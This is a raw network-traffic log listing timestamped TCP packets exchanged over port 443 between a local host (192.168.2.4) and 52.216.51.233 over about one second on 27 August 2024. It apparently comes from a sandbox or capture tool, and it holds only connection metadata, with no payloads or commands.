Aug 27, 2024 13:05:50.757106066 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.757128000 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.757242918 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.757256985 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.757312059 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.757318020 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.757359982 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.758511066 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.758527040 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.758565903 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.758570910 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.758600950 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.758608103 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.761344910 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.761360884 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.761399984 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.761404037 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.761434078 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.761737108 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.761753082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.761801004 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.761806965 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.761831999 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.761846066 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.846290112 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.846304893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.846375942 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.846386909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.846446037 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.846766949 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.846780062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.846836090 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.846841097 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.847023010 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.848578930 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.848592043 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.848648071 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.848653078 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.848789930 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.848897934 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.848911047 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.848961115 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.848965883 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.849009037 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.849066019 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.849411964 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.849425077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.849483013 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.849488020 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.849550009 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.850430012 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.850444078 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.850502014 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.850507021 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.850565910 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.852818966 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.852833033 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.852889061 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.852894068 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.853028059 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.853185892 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.853199959 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.853246927 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.853252888 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.853348970 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.936438084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.936455965 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.936539888 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.936551094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.936722994 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.936741114 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.936772108 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.936778069 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.936789036 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.936819077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.938353062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.938366890 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.938432932 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.938437939 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.938774109 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.938791037 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.938842058 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.938848019 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.939011097 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.939023018 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.939063072 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.939069033 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.939091921 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.939114094 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.939795971 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.939810038 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.939871073 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.939876080 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.942795038 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.942812920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.942878008 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.942883015 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.943053961 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.943064928 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.943115950 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.943121910 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:50.943680048 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:50.964700937 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.027273893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.027288914 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.027384043 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.027390957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.027549982 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.027568102 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.027615070 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.027620077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.027667999 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.028934002 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.028947115 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.029006958 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.029012918 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.029455900 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.029474020 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.029526949 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.029532909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.029671907 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.029685974 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.029762983 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.029767990 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.030607939 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.030631065 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.030662060 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.030668020 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.030685902 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.030714989 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.033421993 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.033435106 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.033497095 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.033503056 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.033723116 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.033740044 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.033792973 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.033798933 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.035669088 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.076410055 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.076556921 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.118048906 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.118067980 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.118155956 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.118164062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.118211985 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.118231058 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.118263006 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.118267059 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.118285894 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.118310928 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.119555950 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.119570017 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.119635105 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.119640112 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.120018005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.120037079 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.120073080 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.120079041 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.120104074 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.120127916 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.120249033 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.120263100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.120311022 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.120315075 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.121171951 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.121190071 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.121221066 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.121225119 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.121251106 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.121273994 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.124144077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.124156952 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.124211073 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.124217987 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.124366045 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.124382973 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.124416113 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.124419928 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.124435902 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.124460936 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.208708048 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.208724022 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.208796024 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.208801031 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.208995104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.209021091 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.209053993 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.209058046 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.209073067 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.209103107 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.210412979 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.210427046 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.210477114 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.210483074 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.210805893 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.210822105 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.210854053 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.210859060 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.210884094 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.210906029 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.211229086 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.211241007 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.211289883 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.211293936 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.211666107 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.211852074 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.211864948 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.211908102 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.211914062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.214740992 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.214757919 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.214816093 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.214821100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.214973927 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.214986086 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.215023041 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.215029001 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.215053082 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.215073109 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.299376011 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.299392939 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.299524069 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.299530983 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.299674034 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.300074100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.300088882 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.300143957 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.300149918 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301253080 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301270962 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301318884 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.301323891 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301527977 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301539898 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301589012 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.301594019 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301893950 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301911116 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301945925 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.301951885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.301970959 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.302002907 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.302484989 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.302499056 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.302550077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.302555084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.303677082 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.305386066 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.305399895 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.305465937 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.305469990 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.305659056 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.305675983 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.305713892 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.305718899 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.305752039 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.305779934 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.311810970 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.390244007 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.390266895 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.390302896 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.390307903 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.390345097 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.390357971 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.390760899 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.390779972 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.390836000 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.390841007 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.390873909 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.391735077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.391755104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.391796112 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.391799927 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.391846895 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.392312050 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.392324924 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.392373085 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.392376900 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.392436981 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.392653942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.392667055 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.392730951 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.392735958 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.392833948 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.393316031 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.393330097 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.393384933 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.393388987 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.393425941 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.396090984 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.396107912 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.396178961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.396183968 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.396220922 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.396501064 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.396512985 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.396548986 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.396554947 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.396580935 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.396589041 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.481043100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.481056929 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.481132030 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.481136084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.481647015 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.481663942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.481699944 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.481703043 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.481724977 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.481751919 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.482567072 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.482585907 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.482621908 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.482626915 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.482672930 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.482969046 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.482986927 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483014107 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.483016968 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483052015 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.483567953 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483581066 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483614922 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.483620882 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483659983 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.483935118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483948946 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483978987 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.483983994 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:51.483994961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.484018087 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:51.486768007 CEST	443	49733	52.216.51.233	192.168.2.4
